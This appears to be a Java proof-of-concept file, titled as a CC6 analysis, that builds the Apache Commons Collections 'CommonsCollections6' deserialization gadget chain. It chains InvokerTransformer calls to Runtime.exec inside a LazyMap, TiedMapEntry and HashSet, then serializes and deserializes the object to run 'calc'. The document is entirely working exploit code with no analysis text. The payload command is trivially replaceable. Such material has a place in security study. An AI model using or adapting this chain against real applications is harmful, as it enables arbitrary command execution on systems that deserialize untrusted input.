CC6分析
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;public class cc6 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer Testtransformer = new ChainedTransformer(transformers);//创建一个hashmapMap map=new HashMap();Map lazyMap=LazyMap.decorate(map,Testtransformer);TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");HashSet hashSet=new HashSet(1);hashSet.add(tiedMapEntry);lazyMap.remove("test1");ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));objectOutputStream.writeObject(hashSet);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));objectInputStream.readObject();}
}